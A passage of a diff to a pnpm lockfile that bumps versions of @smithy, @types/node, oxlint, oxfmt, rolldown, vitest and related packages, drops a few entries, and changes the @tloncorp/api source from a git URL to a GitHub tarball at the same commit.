'@smithy/node-http-handler@4.4.14': + dependencies: + '@smithy/abort-controller': 4.2.11 + '@smithy/protocol-http': 5.3.11 + '@smithy/querystring-builder': 4.2.11 + '@smithy/types': 4.13.0 + tslib: 2.8.1 + '@smithy/property-provider@4.2.10': dependencies: '@smithy/types': 4.13.0 tslib: 2.8.1 + '@smithy/property-provider@4.2.11': + dependencies: + '@smithy/types': 4.13.0 + tslib: 2.8.1 + '@smithy/protocol-http@5.3.10': dependencies: '@smithy/types': 4.13.0 tslib: 2.8.1 + '@smithy/protocol-http@5.3.11': + dependencies: + '@smithy/types': 4.13.0 + tslib: 2.8.1 + '@smithy/querystring-builder@4.2.10': dependencies: '@smithy/types': 4.13.0 '@smithy/util-uri-escape': 4.2.1 tslib: 2.8.1 + '@smithy/querystring-builder@4.2.11': + dependencies: + '@smithy/types': 4.13.0 + '@smithy/util-uri-escape': 4.2.2 + tslib: 2.8.1 + '@smithy/querystring-parser@4.2.10': dependencies: '@smithy/types': 4.13.0 tslib: 2.8.1 + '@smithy/querystring-parser@4.2.11': + dependencies: + '@smithy/types': 4.13.0 + tslib: 2.8.1 + '@smithy/service-error-classification@4.2.10': dependencies: '@smithy/types': 4.13.0 + '@smithy/service-error-classification@4.2.11': + dependencies: + '@smithy/types': 4.13.0 + '@smithy/shared-ini-file-loader@4.4.5': dependencies: '@smithy/types': 4.13.0 tslib: 2.8.1 + '@smithy/shared-ini-file-loader@4.4.6': + dependencies: + '@smithy/types': 4.13.0 + tslib: 2.8.1 + '@smithy/signature-v4@5.3.10': dependencies: '@smithy/is-array-buffer': 4.2.1 @@ -9007,6 +9747,17 @@ snapshots: '@smithy/util-utf8': 4.2.1 tslib: 2.8.1 + '@smithy/signature-v4@5.3.11': + dependencies: + '@smithy/is-array-buffer': 4.2.2 + '@smithy/protocol-http': 5.3.11 + '@smithy/types': 4.13.0 + '@smithy/util-hex-encoding': 4.2.2 + '@smithy/util-middleware': 4.2.11 + '@smithy/util-uri-escape': 4.2.2 + '@smithy/util-utf8': 4.2.2 + tslib: 2.8.1 + '@smithy/smithy-client@4.12.0': dependencies: '@smithy/core': 3.23.6 @@ -9017,6 +9768,16 @@ snapshots: '@smithy/util-stream': 4.5.15 tslib: 2.8.1 + '@smithy/smithy-client@4.12.3': + dependencies: + '@smithy/core': 3.23.9 + '@smithy/middleware-endpoint': 4.4.23 + '@smithy/middleware-stack': 4.2.11 + '@smithy/protocol-http': 5.3.11 + '@smithy/types': 4.13.0 + '@smithy/util-stream': 4.5.17 + tslib: 2.8.1 + '@smithy/types@4.13.0': dependencies: tslib: 2.8.1 @@ -9027,20 +9788,40 @@ snapshots: '@smithy/types': 4.13.0 tslib: 2.8.1 + '@smithy/url-parser@4.2.11': + dependencies: + '@smithy/querystring-parser': 4.2.11 + '@smithy/types': 4.13.0 + tslib: 2.8.1 + '@smithy/util-base64@4.3.1': dependencies: '@smithy/util-buffer-from': 4.2.1 '@smithy/util-utf8': 4.2.1 tslib: 2.8.1 + '@smithy/util-base64@4.3.2': + dependencies: + '@smithy/util-buffer-from': 4.2.2 + '@smithy/util-utf8': 4.2.2 + tslib: 2.8.1 + '@smithy/util-body-length-browser@4.2.1': dependencies: tslib: 2.8.1 + '@smithy/util-body-length-browser@4.2.2': + dependencies: + tslib: 2.8.1 + '@smithy/util-body-length-node@4.2.2': dependencies: tslib: 2.8.1 + '@smithy/util-body-length-node@4.2.3': + dependencies: + tslib: 2.8.1 + '@smithy/util-buffer-from@2.2.0': dependencies: '@smithy/is-array-buffer': 2.2.0 @@ -9051,10 +9832,19 @@ snapshots: '@smithy/is-array-buffer': 4.2.1 tslib: 2.8.1 + '@smithy/util-buffer-from@4.2.2': + dependencies: + '@smithy/is-array-buffer': 4.2.2 + tslib: 2.8.1 + '@smithy/util-config-provider@4.2.1': dependencies: tslib: 2.8.1 + '@smithy/util-config-provider@4.2.2': + dependencies: + tslib: 2.8.1 + '@smithy/util-defaults-mode-browser@4.3.36': dependencies: '@smithy/property-provider': 4.2.10 @@ -9062,6 +9852,13 @@ snapshots: '@smithy/types': 4.13.0 tslib: 2.8.1 + '@smithy/util-defaults-mode-browser@4.3.39': + dependencies: + '@smithy/property-provider': 4.2.11 + '@smithy/smithy-client': 4.12.3 + '@smithy/types': 4.13.0 + tslib: 2.8.1 + '@smithy/util-defaults-mode-node@4.2.39': dependencies: '@smithy/config-resolver': 4.4.9 @@ -9072,27 +9869,58 @@ snapshots: '@smithy/types': 4.13.0 tslib: 2.8.1 + '@smithy/util-defaults-mode-node@4.2.42': + dependencies: + '@smithy/config-resolver': 4.4.10 + '@smithy/credential-provider-imds': 4.2.11 + '@smithy/node-config-provider': 4.3.11 + '@smithy/property-provider': 4.2.11 + '@smithy/smithy-client': 4.12.3 + '@smithy/types': 4.13.0 + tslib: 2.8.1 + '@smithy/util-endpoints@3.3.1': dependencies: '@smithy/node-config-provider': 4.3.10 '@smithy/types': 4.13.0 tslib: 2.8.1 + '@smithy/util-endpoints@3.3.2': + dependencies: + '@smithy/node-config-provider': 4.3.11 + '@smithy/types': 4.13.0 + tslib: 2.8.1 + '@smithy/util-hex-encoding@4.2.1': dependencies: tslib: 2.8.1 + '@smithy/util-hex-encoding@4.2.2': + dependencies: + tslib: 2.8.1 + '@smithy/util-middleware@4.2.10': dependencies: '@smithy/types': 4.13.0 tslib: 2.8.1 + '@smithy/util-middleware@4.2.11': + dependencies: + '@smithy/types': 4.13.0 + tslib: 2.8.1 + '@smithy/util-retry@4.2.10': dependencies: '@smithy/service-error-classification': 4.2.10 '@smithy/types': 4.13.0 tslib: 2.8.1 + '@smithy/util-retry@4.2.11': + dependencies: + '@smithy/service-error-classification': 4.2.11 + '@smithy/types': 4.13.0 + tslib: 2.8.1 + '@smithy/util-stream@4.5.15': dependencies: '@smithy/fetch-http-handler': 5.3.11 @@ -9104,10 +9932,25 @@ snapshots: '@smithy/util-utf8': 4.2.1 tslib: 2.8.1 + '@smithy/util-stream@4.5.17': + dependencies: + '@smithy/fetch-http-handler': 5.3.13 + '@smithy/node-http-handler': 4.4.14 + '@smithy/types': 4.13.0 + '@smithy/util-base64': 4.3.2 + '@smithy/util-buffer-from': 4.2.2 + '@smithy/util-hex-encoding': 4.2.2 + '@smithy/util-utf8': 4.2.2 + tslib: 2.8.1 + '@smithy/util-uri-escape@4.2.1': dependencies: tslib: 2.8.1 + '@smithy/util-uri-escape@4.2.2': + dependencies: + tslib: 2.8.1 + '@smithy/util-utf8@2.3.0': dependencies: '@smithy/util-buffer-from': 2.2.0 @@ -9118,6 +9961,11 @@ snapshots: '@smithy/util-buffer-from': 4.2.1 tslib: 2.8.1 + '@smithy/util-utf8@4.2.2': + dependencies: + '@smithy/util-buffer-from': 4.2.2 + tslib: 2.8.1 + '@smithy/util-waiter@4.2.10': dependencies: '@smithy/abort-controller': 4.2.10 @@ -9128,6 +9976,10 @@ snapshots: dependencies: tslib: 2.8.1 + '@smithy/uuid@1.1.2': + dependencies: + tslib: 2.8.1 + '@snazzah/davey-android-arm-eabi@0.1.9': optional: true @@ -9205,7 +10057,7 @@ snapshots: '@tinyhttp/content-disposition@2.2.4': {} - '@tloncorp/api@git+https://github.com/tloncorp/api-beta.git#7eede1c1a756977b09f96aa14a92e2b06318ae87': + '@tloncorp/api@https://codeload.github.com/tloncorp/api-beta/tar.gz/7eede1c1a756977b09f96aa14a92e2b06318ae87': dependencies: '@aws-sdk/client-s3': 3.1000.0 '@aws-sdk/s3-request-presigner': 3.1000.0 @@ -9225,24 +10077,24 @@ snapshots: transitivePeerDependencies: - aws-crt - '@tloncorp/tlon-skill-darwin-arm64@0.1.9': + '@tloncorp/tlon-skill-darwin-arm64@0.2.2': optional: true - '@tloncorp/tlon-skill-darwin-x64@0.1.9': + '@tloncorp/tlon-skill-darwin-x64@0.2.2': optional: true - '@tloncorp/tlon-skill-linux-arm64@0.1.9': + '@tloncorp/tlon-skill-linux-arm64@0.2.2': optional: true - '@tloncorp/tlon-skill-linux-x64@0.1.9': + '@tloncorp/tlon-skill-linux-x64@0.2.2': optional: true - '@tloncorp/tlon-skill@0.1.9': + '@tloncorp/tlon-skill@0.2.2': optionalDependencies: - '@tloncorp/tlon-skill-darwin-arm64': 0.1.9 - '@tloncorp/tlon-skill-darwin-x64': 0.1.9 - '@tloncorp/tlon-skill-linux-arm64': 0.1.9 - '@tloncorp/tlon-skill-linux-x64': 0.1.9 + '@tloncorp/tlon-skill-darwin-arm64': 0.2.2 + '@tloncorp/tlon-skill-darwin-x64': 0.2.2 + '@tloncorp/tlon-skill-linux-arm64': 0.2.2 + '@tloncorp/tlon-skill-linux-x64': 0.2.2 '@tokenizer/inflate@0.4.1': dependencies: @@ -9316,7 +10168,7 @@ snapshots: '@types/body-parser@1.19.6': dependencies: '@types/connect': 3.4.38 - '@types/node': 25.3.3 + '@types/node': 25.3.5 '@types/bun@1.3.9': dependencies: @@ -9336,7 +10188,7 @@ snapshots: '@types/connect@3.4.38': dependencies: - '@types/node': 25.3.3 + '@types/node': 25.3.5 '@types/deep-eql@4.0.2': {} @@ -9344,14 +10196,14 @@ snapshots: '@types/express-serve-static-core@4.19.8': dependencies: - '@types/node': 25.3.3 + '@types/node': 25.3.5 '@types/qs': 6.14.0 '@types/range-parser': 1.2.7 '@types/send': 1.2.1 '@types/express-serve-static-core@5.1.1': dependencies: - '@types/node': 25.3.3 + '@types/node': 25.3.5 '@types/qs': 6.14.0 '@types/range-parser': 1.2.7 '@types/send': 1.2.1 @@ -9380,7 +10232,7 @@ snapshots: '@types/jsonwebtoken@9.0.10': dependencies: '@types/ms': 2.1.0 - '@types/node': 25.3.3 + '@types/node': 25.3.5 '@types/linkify-it@5.0.0': {} @@ -9413,7 +10265,7 @@ snapshots: dependencies: undici-types: 7.16.0 - '@types/node@25.3.3': + '@types/node@25.3.5': dependencies: undici-types: 7.18.2 @@ -9426,7 +10278,7 @@ snapshots: '@types/request@2.48.13': dependencies: '@types/caseless': 0.12.5 - '@types/node': 25.3.3 + '@types/node': 25.3.5 '@types/tough-cookie': 4.0.5 form-data: 2.5.4 @@ -9437,22 +10289,22 @@ snapshots: '@types/send@0.17.6': dependencies: '@types/mime': 1.3.5 - '@types/node': 25.3.3 + '@types/node': 25.3.5 '@types/send@1.2.1': dependencies: - '@types/node': 25.3.3 + '@types/node': 25.3.5 '@types/serve-static@1.15.10': dependencies: '@types/http-errors': 2.0.5 - '@types/node': 25.3.3 + '@types/node': 25.3.5 '@types/send': 0.17.6 '@types/serve-static@2.2.0': dependencies: '@types/http-errors': 2.0.5 - '@types/node': 25.3.3 + '@types/node': 25.3.5 '@types/tough-cookie@4.0.5': {} @@ -9462,43 +10314,43 @@ snapshots: '@types/ws@8.18.1': dependencies: - '@types/node': 25.3.3 + '@types/node': 25.3.5 '@types/yauzl@2.10.3': dependencies: - '@types/node': 25.3.3 + '@types/node': 25.3.5 optional: true - '@typescript/native-preview-darwin-arm64@7.0.0-dev.20260301.1': + '@typescript/native-preview-darwin-arm64@7.0.0-dev.20260307.1': optional: true - '@typescript/native-preview-darwin-x64@7.0.0-dev.20260301.1': + '@typescript/native-preview-darwin-x64@7.0.0-dev.20260307.1': optional: true - '@typescript/native-preview-linux-arm64@7.0.0-dev.20260301.1': + '@typescript/native-preview-linux-arm64@7.0.0-dev.20260307.1': optional: true - '@typescript/native-preview-linux-arm@7.0.0-dev.20260301.1': + '@typescript/native-preview-linux-arm@7.0.0-dev.20260307.1': optional: true - '@typescript/native-preview-linux-x64@7.0.0-dev.20260301.1': + '@typescript/native-preview-linux-x64@7.0.0-dev.20260307.1': optional: true - '@typescript/native-preview-win32-arm64@7.0.0-dev.20260301.1': + '@typescript/native-preview-win32-arm64@7.0.0-dev.20260307.1': optional: true - '@typescript/native-preview-win32-x64@7.0.0-dev.20260301.1': + '@typescript/native-preview-win32-x64@7.0.0-dev.20260307.1': optional: true - '@typescript/native-preview@7.0.0-dev.20260301.1': + '@typescript/native-preview@7.0.0-dev.20260307.1': optionalDependencies: - '@typescript/native-preview-darwin-arm64': 7.0.0-dev.20260301.1 - '@typescript/native-preview-darwin-x64': 7.0.0-dev.20260301.1 - '@typescript/native-preview-linux-arm': 7.0.0-dev.20260301.1 - '@typescript/native-preview-linux-arm64': 7.0.0-dev.20260301.1 - '@typescript/native-preview-linux-x64': 7.0.0-dev.20260301.1 - '@typescript/native-preview-win32-arm64': 7.0.0-dev.20260301.1 - '@typescript/native-preview-win32-x64': 7.0.0-dev.20260301.1 + '@typescript/native-preview-darwin-arm64': 7.0.0-dev.20260307.1 + '@typescript/native-preview-darwin-x64': 7.0.0-dev.20260307.1 + '@typescript/native-preview-linux-arm': 7.0.0-dev.20260307.1 + '@typescript/native-preview-linux-arm64': 7.0.0-dev.20260307.1 + '@typescript/native-preview-linux-x64': 7.0.0-dev.20260307.1 + '@typescript/native-preview-win32-arm64': 7.0.0-dev.20260307.1 + '@typescript/native-preview-win32-x64': 7.0.0-dev.20260307.1 '@typespec/ts-http-runtime@0.3.3': dependencies: @@ -9539,29 +10391,29 @@ snapshots: - '@cypress/request' - supports-color - '@vitest/browser-playwright@4.0.18(playwright@1.58.2)(vite@7.3.1(@types/node@25.3.3)(jiti@2.6.1)(lightningcss@1.30.2)(tsx@4.21.0)(yaml@2.8.2))(vitest@4.0.18)': + '@vitest/browser-playwright@4.0.18(playwright@1.58.2)(vite@7.3.1(@types/node@25.3.5)(jiti@2.6.1)(lightningcss@1.30.2)(tsx@4.21.0)(yaml@2.8.2))(vitest@4.0.18)': dependencies: - '@vitest/browser': 4.0.18(vite@7.3.1(@types/node@25.3.3)(jiti@2.6.1)(lightningcss@1.30.2)(tsx@4.21.0)(yaml@2.8.2))(vitest@4.0.18) - '@vitest/mocker': 4.0.18(vite@7.3.1(@types/node@25.3.3)(jiti@2.6.1)(lightningcss@1.30.2)(tsx@4.21.0)(yaml@2.8.2)) + '@vitest/browser': 4.0.18(vite@7.3.1(@types/node@25.3.5)(jiti@2.6.1)(lightningcss@1.30.2)(tsx@4.21.0)(yaml@2.8.2))(vitest@4.0.18) + '@vitest/mocker': 4.0.18(vite@7.3.1(@types/node@25.3.5)(jiti@2.6.1)(lightningcss@1.30.2)(tsx@4.21.0)(yaml@2.8.2)) playwright: 1.58.2 tinyrainbow: 3.0.3 - vitest: 4.0.18(@opentelemetry/api@1.9.0)(@types/node@25.3.3)(@vitest/browser-playwright@4.0.18)(jiti@2.6.1)(lightningcss@1.30.2)(tsx@4.21.0)(yaml@2.8.2) + vitest: 4.0.18(@opentelemetry/api@1.9.0)(@types/node@25.3.5)(@vitest/browser-playwright@4.0.18)(jiti@2.6.1)(lightningcss@1.30.2)(tsx@4.21.0)(yaml@2.8.2) transitivePeerDependencies: - bufferutil - msw - utf-8-validate - vite - '@vitest/browser@4.0.18(vite@7.3.1(@types/node@25.3.3)(jiti@2.6.1)(lightningcss@1.30.2)(tsx@4.21.0)(yaml@2.8.2))(vitest@4.0.18)': + '@vitest/browser@4.0.18(vite@7.3.1(@types/node@25.3.5)(jiti@2.6.1)(lightningcss@1.30.2)(tsx@4.21.0)(yaml@2.8.2))(vitest@4.0.18)': dependencies: - '@vitest/mocker': 4.0.18(vite@7.3.1(@types/node@25.3.3)(jiti@2.6.1)(lightningcss@1.30.2)(tsx@4.21.0)(yaml@2.8.2)) + '@vitest/mocker': 4.0.18(vite@7.3.1(@types/node@25.3.5)(jiti@2.6.1)(lightningcss@1.30.2)(tsx@4.21.0)(yaml@2.8.2)) '@vitest/utils': 4.0.18 magic-string: 0.30.21 pixelmatch: 7.1.0 pngjs: 7.0.0 sirv: 3.0.2 tinyrainbow: 3.0.3 - vitest: 4.0.18(@opentelemetry/api@1.9.0)(@types/node@25.3.3)(@vitest/browser-playwright@4.0.18)(jiti@2.6.1)(lightningcss@1.30.2)(tsx@4.21.0)(yaml@2.8.2) + vitest: 4.0.18(@opentelemetry/api@1.9.0)(@types/node@25.3.5)(@vitest/browser-playwright@4.0.18)(jiti@2.6.1)(lightningcss@1.30.2)(tsx@4.21.0)(yaml@2.8.2) ws: 8.19.0 transitivePeerDependencies: - bufferutil @@ -9569,7 +10421,7 @@ snapshots: - utf-8-validate - vite - '@vitest/coverage-v8@4.0.18(@vitest/browser@4.0.18(vite@7.3.1(@types/node@25.3.3)(jiti@2.6.1)(lightningcss@1.30.2)(tsx@4.21.0)(yaml@2.8.2))(vitest@4.0.18))(vitest@4.0.18)': + '@vitest/coverage-v8@4.0.18(@vitest/browser@4.0.18(vite@7.3.1(@types/node@25.3.5)(jiti@2.6.1)(lightningcss@1.30.2)(tsx@4.21.0)(yaml@2.8.2))(vitest@4.0.18))(vitest@4.0.18)': dependencies: '@bcoe/v8-coverage': 1.0.2 '@vitest/utils': 4.0.18 @@ -9581,9 +10433,9 @@ snapshots: obug: 2.1.1 std-env: 3.10.0 tinyrainbow: 3.0.3 - vitest: 4.0.18(@opentelemetry/api@1.9.0)(@types/node@25.3.3)(@vitest/browser-playwright@4.0.18)(jiti@2.6.1)(lightningcss@1.30.2)(tsx@4.21.0)(yaml@2.8.2) + vitest: 4.0.18(@opentelemetry/api@1.9.0)(@types/node@25.3.5)(@vitest/browser-playwright@4.0.18)(jiti@2.6.1)(lightningcss@1.30.2)(tsx@4.21.0)(yaml@2.8.2) optionalDependencies: - '@vitest/browser': 4.0.18(vite@7.3.1(@types/node@25.3.3)(jiti@2.6.1)(lightningcss@1.30.2)(tsx@4.21.0)(yaml@2.8.2))(vitest@4.0.18) + '@vitest/browser': 4.0.18(vite@7.3.1(@types/node@25.3.5)(jiti@2.6.1)(lightningcss@1.30.2)(tsx@4.21.0)(yaml@2.8.2))(vitest@4.0.18) '@vitest/expect@4.0.18': dependencies: @@ -9594,13 +10446,13 @@ snapshots: chai: 6.2.2 tinyrainbow: 3.0.3 - '@vitest/mocker@4.0.18(vite@7.3.1(@types/node@25.3.3)(jiti@2.6.1)(lightningcss@1.30.2)(tsx@4.21.0)(yaml@2.8.2))': + '@vitest/mocker@4.0.18(vite@7.3.1(@types/node@25.3.5)(jiti@2.6.1)(lightningcss@1.30.2)(tsx@4.21.0)(yaml@2.8.2))': dependencies: '@vitest/spy': 4.0.18 estree-walker: 3.0.3 magic-string: 0.30.21 optionalDependencies: - vite: 7.3.1(@types/node@25.3.3)(jiti@2.6.1)(lightningcss@1.30.2)(tsx@4.21.0)(yaml@2.8.2) + vite: 7.3.1(@types/node@25.3.5)(jiti@2.6.1)(lightningcss@1.30.2)(tsx@4.21.0)(yaml@2.8.2) '@vitest/pretty-format@4.0.18': dependencies: @@ -9790,7 +10642,7 @@ snapshots: ast-kit@3.0.0-beta.1: dependencies: - '@babel/parser': 8.0.0-rc.1 + '@babel/parser': 8.0.0-rc.2 estree-walker: 3.0.3 pathe: 2.0.3 @@ -9932,8 +10784,6 @@ snapshots: dependencies: fill-range: 7.1.1 - browser-or-node@1.3.0: {} - browser-or-node@3.0.0: {} buffer-crc32@0.2.13: {} @@ -9949,12 +10799,12 @@ snapshots: bun-types@1.3.9: dependencies: - '@types/node': 25.3.3 + '@types/node': 25.3.5 optional: true bytes@3.1.2: {} - cac@6.7.14: {} + cac@7.0.0: {} cacheable@2.3.2: dependencies: @@ -10124,8 +10974,6 @@ snapshots: cookie@0.7.2: {} - core-js@3.48.0: {} - core-util-is@1.0.2: {} core-util-is@1.0.3: {} @@ -10207,6 +11055,8 @@ snapshots: discord-api-types@0.38.40: {} + discord-api-types@0.38.41: {} + doctypes@1.1.0: {} dom-serializer@2.0.0: @@ -10719,6 +11569,16 @@ snapshots: - encoding - supports-color + grammy@1.41.1: + dependencies: + '@grammyjs/types': 3.25.0 + abort-controller: 3.0.0 + debug: 4.4.3 + node-fetch: 2.7.0 + transitivePeerDependencies: + - encoding + - supports-color + has-flag@4.0.0: {} has-own@1.0.1: {} @@ -10858,7 +11718,7 @@ snapshots: immediate@3.0.6: {} - import-in-the-middle@2.0.6: + import-in-the-middle@3.0.0: dependencies: acorn: 8.16.0 acorn-import-attributes: 1.9.5(acorn@8.16.0) @@ -11304,7 +12164,7 @@ snapshots: marked@15.0.12: {} - marked@17.0.3: {} + marked@17.0.4: {} math-intrinsics@1.1.0: {} @@ -11634,7 +12494,7 @@ snapshots: ws: 8.19.0 zod: 4.3.6 - openai@6.25.0(ws@8.19.0)(zod@4.3.6): + openai@6.27.0(ws@8.19.0)(zod@4.3.6): optionalDependencies: ws: 8.19.0 zod: 4.3.6 @@ -11740,61 +12600,61 @@ snapshots: osc-progress@0.3.0: {} - oxfmt@0.35.0: + oxfmt@0.36.0: dependencies: tinypool: 2.1.0 optionalDependencies: - '@oxfmt/binding-android-arm-eabi': 0.35.0 - '@oxfmt/binding-android-arm64': 0.35.0 - '@oxfmt/binding-darwin-arm64': 0.35.0 - '@oxfmt/binding-darwin-x64': 0.35.0 - '@oxfmt/binding-freebsd-x64': 0.35.0 - '@oxfmt/binding-linux-arm-gnueabihf': 0.35.0 - '@oxfmt/binding-linux-arm-musleabihf': 0.35.0 - '@oxfmt/binding-linux-arm64-gnu': 0.35.0 - '@oxfmt/binding-linux-arm64-musl': 0.35.0 - '@oxfmt/binding-linux-ppc64-gnu': 0.35.0 - '@oxfmt/binding-linux-riscv64-gnu': 0.35.0 - '@oxfmt/binding-linux-riscv64-musl': 0.35.0 - '@oxfmt/binding-linux-s390x-gnu': 0.35.0 - '@oxfmt/binding-linux-x64-gnu': 0.35.0 - '@oxfmt/binding-linux-x64-musl': 0.35.0 - '@oxfmt/binding-openharmony-arm64': 0.35.0 - '@oxfmt/binding-win32-arm64-msvc': 0.35.0 - '@oxfmt/binding-win32-ia32-msvc': 0.35.0 - '@oxfmt/binding-win32-x64-msvc': 0.35.0 + '@oxfmt/binding-android-arm-eabi': 0.36.0 + '@oxfmt/binding-android-arm64': 0.36.0 + '@oxfmt/binding-darwin-arm64': 0.36.0 + '@oxfmt/binding-darwin-x64': 0.36.0 + '@oxfmt/binding-freebsd-x64': 0.36.0 + '@oxfmt/binding-linux-arm-gnueabihf': 0.36.0 + '@oxfmt/binding-linux-arm-musleabihf': 0.36.0 + '@oxfmt/binding-linux-arm64-gnu': 0.36.0 + '@oxfmt/binding-linux-arm64-musl': 0.36.0 + '@oxfmt/binding-linux-ppc64-gnu': 0.36.0 + '@oxfmt/binding-linux-riscv64-gnu': 0.36.0 + '@oxfmt/binding-linux-riscv64-musl': 0.36.0 + '@oxfmt/binding-linux-s390x-gnu': 0.36.0 + '@oxfmt/binding-linux-x64-gnu': 0.36.0 + '@oxfmt/binding-linux-x64-musl': 0.36.0 + '@oxfmt/binding-openharmony-arm64': 0.36.0 + '@oxfmt/binding-win32-arm64-msvc': 0.36.0 + '@oxfmt/binding-win32-ia32-msvc': 0.36.0 + '@oxfmt/binding-win32-x64-msvc': 0.36.0 - oxlint-tsgolint@0.15.0: + oxlint-tsgolint@0.16.0: optionalDependencies: - '@oxlint-tsgolint/darwin-arm64': 0.15.0 - '@oxlint-tsgolint/darwin-x64': 0.15.0 - '@oxlint-tsgolint/linux-arm64': 0.15.0 - '@oxlint-tsgolint/linux-x64': 0.15.0 - '@oxlint-tsgolint/win32-arm64': 0.15.0 - '@oxlint-tsgolint/win32-x64': 0.15.0 + '@oxlint-tsgolint/darwin-arm64': 0.16.0 + '@oxlint-tsgolint/darwin-x64': 0.16.0 + '@oxlint-tsgolint/linux-arm64': 0.16.0 + '@oxlint-tsgolint/linux-x64': 0.16.0 + '@oxlint-tsgolint/win32-arm64': 0.16.0 + '@oxlint-tsgolint/win32-x64': 0.16.0 - oxlint@1.50.0(oxlint-tsgolint@0.15.0): + oxlint@1.51.0(oxlint-tsgolint@0.16.0): optionalDependencies: - '@oxlint/binding-android-arm-eabi': 1.50.0 - '@oxlint/binding-android-arm64': 1.50.0 - '@oxlint/binding-darwin-arm64': 1.50.0 - '@oxlint/binding-darwin-x64': 1.50.0 - '@oxlint/binding-freebsd-x64': 1.50.0 - '@oxlint/binding-linux-arm-gnueabihf': 1.50.0 - '@oxlint/binding-linux-arm-musleabihf': 1.50.0 - '@oxlint/binding-linux-arm64-gnu': 1.50.0 - '@oxlint/binding-linux-arm64-musl': 1.50.0 - '@oxlint/binding-linux-ppc64-gnu': 1.50.0 - '@oxlint/binding-linux-riscv64-gnu': 1.50.0 - '@oxlint/binding-linux-riscv64-musl': 1.50.0 - '@oxlint/binding-linux-s390x-gnu': 1.50.0 - '@oxlint/binding-linux-x64-gnu': 1.50.0 - '@oxlint/binding-linux-x64-musl': 1.50.0 - '@oxlint/binding-openharmony-arm64': 1.50.0 - '@oxlint/binding-win32-arm64-msvc': 1.50.0 - '@oxlint/binding-win32-ia32-msvc': 1.50.0 - '@oxlint/binding-win32-x64-msvc': 1.50.0 - oxlint-tsgolint: 0.15.0 + '@oxlint/binding-android-arm-eabi': 1.51.0 + '@oxlint/binding-android-arm64': 1.51.0 + '@oxlint/binding-darwin-arm64': 1.51.0 + '@oxlint/binding-darwin-x64': 1.51.0 + '@oxlint/binding-freebsd-x64': 1.51.0 + '@oxlint/binding-linux-arm-gnueabihf': 1.51.0 + '@oxlint/binding-linux-arm-musleabihf': 1.51.0 + '@oxlint/binding-linux-arm64-gnu': 1.51.0 + '@oxlint/binding-linux-arm64-musl': 1.51.0 + '@oxlint/binding-linux-ppc64-gnu': 1.51.0 + '@oxlint/binding-linux-riscv64-gnu': 1.51.0 + '@oxlint/binding-linux-riscv64-musl': 1.51.0 + '@oxlint/binding-linux-s390x-gnu': 1.51.0 + '@oxlint/binding-linux-x64-gnu': 1.51.0 + '@oxlint/binding-linux-x64-musl': 1.51.0 + '@oxlint/binding-openharmony-arm64': 1.51.0 + '@oxlint/binding-win32-arm64-msvc': 1.51.0 + '@oxlint/binding-win32-ia32-msvc': 1.51.0 + '@oxlint/binding-win32-x64-msvc': 1.51.0 + oxlint-tsgolint: 0.16.0 p-finally@1.0.0: {} @@ -12009,22 +12869,7 @@ snapshots: '@protobufjs/path': 1.1.2 '@protobufjs/pool': 1.1.0 '@protobufjs/utf8': 1.1.0 - '@types/node': 25.3.3 - long: 5.3.2 - - protobufjs@8.0.0: - dependencies: - '@protobufjs/aspromise': 1.1.2 - '@protobufjs/base64': 1.1.2 - '@protobufjs/codegen': 2.0.4 - '@protobufjs/eventemitter': 1.1.0 - '@protobufjs/fetch': 1.1.0 - '@protobufjs/float': 1.0.2 - '@protobufjs/inquire': 1.1.0 - '@protobufjs/path': 1.1.2 - '@protobufjs/pool': 1.1.0 - '@protobufjs/utf8': 1.1.0 - '@types/node': 25.3.3 + '@types/node': 25.3.5 long: 5.3.2 proxy-addr@2.0.7: @@ -12263,42 +13108,44 @@ snapshots: dependencies: glob: 10.5.0 - rolldown-plugin-dts@0.22.2(@typescript/native-preview@7.0.0-dev.20260301.1)(rolldown@1.0.0-rc.5)(typescript@5.9.3): + rolldown-plugin-dts@0.22.4(@typescript/native-preview@7.0.0-dev.20260307.1)(rolldown@1.0.0-rc.7)(typescript@5.9.3): dependencies: - '@babel/generator': 8.0.0-rc.1 - '@babel/helper-validator-identifier': 8.0.0-rc.1 - '@babel/parser': 8.0.0-rc.1 - '@babel/types': 8.0.0-rc.1 + '@babel/generator': 8.0.0-rc.2 + '@babel/helper-validator-identifier': 8.0.0-rc.2 + '@babel/parser': 8.0.0-rc.2 + '@babel/types': 8.0.0-rc.2 ast-kit: 3.0.0-beta.1 birpc: 4.0.0 dts-resolver: 2.1.3 get-tsconfig: 4.13.6 obug: 2.1.1 - rolldown: 1.0.0-rc.5 + rolldown: 1.0.0-rc.7 optionalDependencies: - '@typescript/native-preview': 7.0.0-dev.20260301.1 + '@typescript/native-preview': 7.0.0-dev.20260307.1 typescript: 5.9.3 transitivePeerDependencies: - oxc-resolver - rolldown@1.0.0-rc.5: + rolldown@1.0.0-rc.7: dependencies: - '@oxc-project/types': 0.114.0 - '@rolldown/pluginutils': 1.0.0-rc.5 + '@oxc-project/types': 0.115.0 + '@rolldown/pluginutils': 1.0.0-rc.7 optionalDependencies: - '@rolldown/binding-android-arm64': 1.0.0-rc.5 - '@rolldown/binding-darwin-arm64': 1.0.0-rc.5 - '@rolldown/binding-darwin-x64': 1.0.0-rc.5 - '@rolldown/binding-freebsd-x64': 1.0.0-rc.5 - '@rolldown/binding-linux-arm-gnueabihf': 1.0.0-rc.5 - '@rolldown/binding-linux-arm64-gnu': 1.0.0-rc.5 - '@rolldown/binding-linux-arm64-musl': 1.0.0-rc.5 - '@rolldown/binding-linux-x64-gnu': 1.0.0-rc.5 - '@rolldown/binding-linux-x64-musl': 1.0.0-rc.5 - '@rolldown/binding-openharmony-arm64': 1.0.0-rc.5 - '@rolldown/binding-wasm32-wasi': 1.0.0-rc.5 - '@rolldown/binding-win32-arm64-msvc': 1.0.0-rc.5 - '@rolldown/binding-win32-x64-msvc': 1.0.0-rc.5 + '@rolldown/binding-android-arm64': 1.0.0-rc.7 + '@rolldown/binding-darwin-arm64': 1.0.0-rc.7 + '@rolldown/binding-darwin-x64': 1.0.0-rc.7 + '@rolldown/binding-freebsd-x64': 1.0.0-rc.7 + '@rolldown/binding-linux-arm-gnueabihf': 1.0.0-rc.7 + '@rolldown/binding-linux-arm64-gnu': 1.0.0-rc.7 + '@rolldown/binding-linux-arm64-musl': 1.0.0-rc.7 + '@rolldown/binding-linux-ppc64-gnu': 1.0.0-rc.7 + '@rolldown/binding-linux-s390x-gnu': 1.0.0-rc.7 + '@rolldown/binding-linux-x64-gnu': 1.0.0-rc.7 + '@rolldown/binding-linux-x64-musl': 1.0.0-rc.7 + '@rolldown/binding-openharmony-arm64': 1.0.0-rc.7 + '@rolldown/binding-wasm32-wasi': 1.0.0-rc.7 + 